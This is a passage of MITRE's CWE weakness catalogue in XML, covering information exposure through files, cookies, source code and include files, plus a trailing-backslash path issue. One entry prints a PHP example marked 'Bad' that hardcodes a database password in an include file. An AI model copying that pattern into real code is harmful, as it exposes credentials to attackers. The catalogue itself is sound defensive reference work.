               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Java Runtime Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Java Runtime Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="538" Name="Insertion of Sensitive Information into Externally-Accessible File or Directory" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Do not expose file and directory information to the user.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="95"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 12: Information Leakage.&#34; Page 191"/>
         </References>
         <Notes>
            <Note Type="Maintenance">Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.</Note>
            <Note Type="Maintenance">There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2010-09-09</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">File and Directory Information Leaks</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">File and Directory Information Exposure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="539" Name="Use of Persistent Cookies Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The web application uses persistent cookies, but the cookies contain sensitive information.</Description>
         <Extended_Description>Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.   This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not store sensitive information in persistent cookies.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Persistent Cookies</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Persistent Cookies</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="54" Name="Path Equivalence: 'filedir\' (Trailing Backslash)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="162" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0847</Reference>
               <Description>ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0847</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>filedir\ (trailing backslash)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Trailing Backslash - (filedir\)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="540" Name="Inclusion of Sensitive Information in Source Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.</Description>
         <Extended_Description>There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="538" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Source Code</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Source Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="541" Name="Inclusion of Sensitive Information in an Include File" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="540" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not store sensitive information in include files.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Protect include files from being exposed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-104">
               <Intro_Text>The following code uses an include file to store database credentials:</Intro_Text>
               <Body_Text>database.inc</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>&lt;?php<xhtml:br/>$dbName = 'usersDB';<xhtml:br/>$dbPassword = 'skjdh#67nkjd3$3$';<xhtml:br/>?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>login.php</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>&lt;?php<xhtml:br/>include('database.inc');<xhtml:br/>$db = connectToDB($dbName, $dbPassword);<xhtml:br/>$db.authenticateUser($username, $password);<xhtml:br/>?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
